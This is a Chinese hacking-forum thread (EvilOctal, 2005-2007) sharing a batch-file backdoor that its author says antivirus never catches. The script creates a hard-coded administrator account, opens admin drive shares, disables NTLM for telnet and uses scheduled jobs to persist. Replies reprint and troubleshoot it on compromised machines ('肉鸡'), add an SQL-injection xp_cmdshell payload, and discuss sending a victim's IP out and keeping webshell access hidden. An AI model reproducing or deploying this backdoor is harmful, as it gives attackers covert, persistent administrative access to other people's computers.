邪恶八进制信息安全团队技术讨论组 » 网络攻防技术{ Hacking and Defence } » [转载]用批处理写的后门 永不被杀 [查看完整版本]

exploit 2005-2-19 09:41

[转载]用批处理写的后门 永不被杀

作者：xyt　　　

代码思路是影子鹰DESERT朋友的，原代码比较麻烦，我做了改进，这个后门优点就是小而且不会被杀，放到SYSTEM32目录下就可以了 ，代码如下：
    @echo off
    @attrib +s + r xyt.bat
    @net user xyt hacker /add
    @net localgroup administrators xyt /add
    @net share c$=c:
    @net share d$=d:
    @net share e$=e:
    @net share f$=f:
    @net share g$=g:
    @net share h$=h:
    @tlntadmn config sec = -ntlm

   @net  stop schedule
    @net start Schedule
    @echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
    @echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
    @at 11:05 c:\WINNT\SYSTEM32\xyt.bat
    @at 23:05 c:\WINNT\SYSTEM32\xyt.bat
    @net stop telnet  
    @net start telnet
    @exit

   这样就会循环运行我们的程序了，即使被人停下来，过几个小时，又回重新运行，呵呵~~
    运行后TELNET IP上去，用户名为xyt，密码为hacker。

冰血封情 2005-2-22 01:59

[quote][b]下面是引用xyt于2005-02-22 01:06发表的:[/b]
取消NTLM认证的方法我没有测试，是用紫幻朋友的，呵呵~~~~[/quote]
恐怕你得叫紫幻大哥 他和lcx差不多的老家伙 在本站顾问团

sniper 2005-2-22 15:30

这个后门和我以前写过的那个思路一样嘛，呵呵，发表在X的合订本上，我那个可以去掉NTLM的

一只蛐蛐 2005-3-4 17:56

如果server服务被禁用的话．这段就没用了

@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:

netxyan 2005-4-9 00:20

  C:\>tlntadmn config sec = -ntlm
'tlntadmn' 不是内部或外部命令，也不是可运行的程序
或批处理文件。

怎么会这样啊！！！！！
我是在xp下

小邪 2005-4-30 09:03

@tlntadmn config sec = -ntlm  什么意思？

冰血封情 2005-5-1 01:05

[quote][b]下面是引用小邪于2005-04-30 09:03发表的:[/b]
@tlntadmn config sec = -ntlm  什么意思？[/quote]
[url]http://www.eviloctal.com/forum/read.php?tid=5838&fpage=1[/url]

千寂孤城 2005-6-12 11:30

[quote][b]下面是引用netxyan于04-09-2005 00:20发表的:[/b]
  C:>tlntadmn config sec = -ntlm
'tlntadmn' 不是内部或外部命令，也不是可运行的程序
或批处理文件。

怎么会这样啊！！！！！
.......[/quote]

不会吧，我也是xp

C:\>tlntadmn


以下是 localhost 上的设置

Alt 键已被映射到 'CTRL+A' :    YES
Idle 会话超时:  1 hours
最多连接次数:  2
Telnet 端口:   23
失败的登录企图的最多次数:     3
断开时结束任务:      YES
操作模式:     Console
身份验证机制:  NTLM, Password
默认域:      QJGC-66A2656F25
状态:  Stopped

C:\>tlntadmn /?

用法: tlntadmn [computer name] [common_options] start | stop | pause | continue
| -s | -k | -m | config config_options
                  所有会话用 'all'。
    -s sessionid       列出会话的信息。
    -k sessionid       终止会话。
    -m sessionid       发送消息到会话。

    config           配置 telnet 服务器参数。

common_options 为:
    -u user          指定要使用其凭据的用户
    -p password        用户密码

config_options 为:
   dom = domain        设定用户的默认域
   ctrlakeymap = yes|no  设定 ALT 键的映射
   timeout = hh:mm:ss    设定空闲会话超时值
   timeoutactive = yes|no 启用空闲会话。
   maxfail = attempts    设定断开前失败的登录企图数。
   maxconn = connections  设定最大连接数。
   port = number       设定 telnet 端口。
   sec = [+/-]NTLM [+/-]passwd
                  设定身份验证机构
   mode = console|stream  指定操作模式。

我欲成魔 2005-6-19 18:03

tlntadmn config sec = -ntlm
注射的话可以直接运行：;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'--
取消ntlm认证还是很好用的
其实帐号都建了用个个在自己机上建同样帐号的方法一样可以。

这个后门不错哦~~~~
下次给鸡装个~~~

sirprise 2005-8-18 16:25

厉害 经典  我只想到了  net user xxx /add  net localgroup xx /add  net start telnet
没想到ntlm

sirprise 2005-8-18 16:27

顺便提问一下  你net start telnet  但是如果目标主机的telnet服务是禁用的话怎么办？

幽城 2005-9-24 18:32

tlntadmn是telnet服务的设置命令，可以对telnet服务的端口、认证方式等进行设置：

用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
所有会话用 'all'。
-s sessionid列出会话的信息。
-k sessionid终止会话。
-m sessionid发送消息到会话。

config配置 telnet 服务器参数。

common_options 为:
-u user 指定要使用其凭据的用户
-p password 用户密码

config_options 为:
 dom = domain 设定用户的默认域
 ctrlakeymap = yes|no 设定 ALT 键的映射
 timeout = hh:mm:ss 设定空闲会话超时值
 timeoutactive = yes|no 启用空闲会话。
 maxfail = attempts 设定断开前失败的登录企图数。
 maxconn = connections设定最大连接数。
 port = number设定 telnet 端口。
 sec = [+/-]NTLM [+/-]passwd
设定身份验证机构
 fname = file 指定审计文件名。
 fsize = size 指定审计文件的最大尺寸(MB)。
 mode = console|stream指定操作模式。
 auditlocation = eventlog|file|both
指定记录地点
 audit = [+/-]user [+/-]fail [+/-]admin

幽城 2005-9-24 19:22

如果禁止了telnet那net start telnet也没有用啊

幽城 2005-9-28 10:49

@attrib +s + r xyt.bat是不是放错地方啊

sunwear 2005-9-28 23:29

tlntadmn config sec = -ntlm
会被正常执行么？很多人测试都失败的。
其实还不如写个简单的程序 手工加个壳。就不错。
何况telnet连接 在SB的防火墙也可以拦截的。

俺老虎 2005-10-12 10:15

[quote][b]下面是引用一只蛐蛐于2005-03-04 17:56发表的:[/b]
如果server服务被禁用的话．这段就没用了

@net share c$=c:
@net share d$=d:
@net share e$=e:
.......[/quote]

如果加个NET STAT 行不?我是菜鸟...有说错的地方不要笑我~!@

无名 2005-10-15 21:24

这个后门唯一的缺陷就是如果对方是动态IP,怎样才可以获取对方实时的IP
这个值得探讨一下
我觉的如果可以把ipconfig>>ip.txt
然后加到启动项里
然后tftp 你的动态域名的IP上
那么动态域名的IP如何时刻跟踪呢?这个需要讨论下哈

英雄无敌 2005-10-15 23:42

传好ａｓｐ木马后该干点什么。。。。开３３８９和加用户到ａｄ或者传木马很容易就被ｋｏ拉，多开几个端口管理员很容易发现也。。。。。。。
有没有更隐蔽的做法。。。。。。。
动态ｉｐ的肉鸡怎么利用，谁教教我

小船 2005-10-16 10:59

动太IP你使用鸽子的自动上线.然后就是后面提出的IP地址的问题...我个人觉得在上面加一段发送mail的命令.将动态的IP地址发送到个人的mail里.

styxfox 2005-10-18 02:24

telnet不实用
我已经很少见没过滤端口没防火墙的主机了

inetshare 2005-10-20 12:02

不适用。
一，在系统明摆地建个管理用户。
二，开启默认共享，现在大部分网关或路由屏了139，135，445端口。
三，开启telnet？更是搞笑。

小船 2005-10-23 09:56

tlntadmin config sec = -ntlm port = 1986   可以用这个改变telnet开放的端口.

jouanc 2005-11-13 15:06

我用肉鸡试了下

连接倒是连接上去了
可是出现了
欢迎使用 Microsoft Telnet Client

Escape 字符是 'CTRL+]'


您将要把您的密码信息送到 Internet 区内的一台远程计算机上。这可能不安全。您还要送
吗(y/n):
我按Y的结果是
NTLM Authentication failed due to insufficient credentials.  Please login with
clear text username and password

Server allows NTLM authentication only
Server has closed connection


失去了跟主机的连接。
按N的结果是
Server allows NTLM authentication only
Server has closed connection


失去了跟主机的连接。
这是什么回事啊~~~~~~~~~~~！

柳晛 2005-11-19 13:53

[quote][b]下面是引用yly于2005-06-01 15:30发表的:[/b]
程序运行的时候会一闪而过！
在屏幕上可以感觉到！[/quote]


可以用Quick Batch File编译成exe格式并且后台运行。

花寒儿 2005-11-28 15:58

放在system32目录下会自动执行吗？
用webshell传上去，webshell没有权限执行，该怎么办？

kooking 2005-11-29 15:30

以下是 localhost 上的设置

Alt 键已被映射到 'CTRL+A' :    YES
Idle 会话超时:  1 hours
最多连接次数:  2
Telnet 端口:   23
失败的登录企图的最多次数:     3
断开时结束任务:      YES
操作模式:     Console
身份验证机制:  NTLM, Password
默认域:      CHQP-53BBCDD878
状态:  Stopped


能不能给个菜鸟版的解释？

fycs 2005-12-5 13:21

各位，，我在实际应用中有一个问题，，
　我测试的主机有
　
　　　　　　麦咖啡的防火墙，好像不好用哟。。我又在里面加了，NET　STOP　命令但同样无效。。。

　　　　这段代码也就无用武之地了。。。

adly 2005-12-5 19:49

就是不知道这个是什么服务:  
  @net stop schedule
  @net start Schedule
这个有什么作用啊?"log.bat"在xp系统中找不到啊!
  @echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
  @echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat

juezecn 2005-12-10 20:57

@echo off
  @attrib +s + r xyt.bat
  @net user xyt hacker /add
  @net localgroup administrators xyt /add
  @net share c$=c:
  @net share d$=d:
  @net share e$=e:
  @net share f$=f:
  @net share g$=g:
  @net share h$=h:
  @tlntadmn config sec = -ntlm

  @net stop schedule
  @net start Schedule
  @echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
  @echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
  @at 11:05 c:\WINNT\SYSTEM32\xyt.bat
  @at 23:05 c:\WINNT\SYSTEM32\xyt.bat
'下面这两条命令可以改为从注册表里直接修改telnet服务的相应键值！
'这样可以解决ntml和telenet服务被禁止的问题
  @net stop telnet  
  @net start telnet
  @exit

losstangel 2005-12-30 21:32

我想提出点问题
1.我运行tlntadmn config sec = -ntlm 系统回显必须有管理特权 我已经是管理员权限了
2.如果对方禁用telnet的话 你的net start telnet也是没用的!
3.我有点不明白 如果要bat文件去监视时间 是不是要把它做成一个服务?
   我只是个菜鸟 如果有什么地方提错了 请多原谅

fhod 2007-4-28 17:34

[quote]引用第33楼adly于2005-12-05 19:55发表的 :
就是不知这个是什么服务:
@net stop schedule
@net start Schedule
还有这两句是什么作用啊(在xp系统目录中找不到"log.bat"这个文件啊!):
@echo at 11:00 c:WINNTSYSTEM32log.bat > c:WINNTSYSTEM32xyt.bat
.......[/quote]

我在
[url]http://forum.eviloctal.com/read-htm-tid-28354.html[/url]
中有回复
把以上的批处理保存为log.bat运行后他自动生成
xyt.bat
其中
xyt.bat的内容为
at 11:00 c:\winnt\system32\log.bat
at 23:00 c:\winnt\system32\log.bat

@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat

这个意思是
把at 11:00 c:\WINNT\SYSTEM32\log.bat 写进c:\WINNT\SYSTEM32\xyt.bat 文件..如果没有就自动创建
第二个
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
同理..不过因为第一句已经创建了..所以第二个直接添加at 23:00 c:\WINNT\SYSTEM32\log.bat这里注意一定要是>>如果是>的话回直接覆盖那个xyt.bat文件

xyt.bat的作用是在特定的时间执行
log.bat的..其中log.bat执行后...又自动创建并覆盖xyt.bat
他两个就好比是在互相监视的
但如果log.bat被删除了话..这个批处理后门就没啥用了

如果你把这个批出来的文件名改为xyt.bat为不是log.bat运行后你会发现xyt.bat的内容由原来的换成了
at 11:00 c:\winnt\system32\log.bat
所以一定要把文件名改为log.bat这样才会成功

查看完整版本: [转载]用批处理写的后门 永不被杀

© 1999-2008 EvilOctal Security Team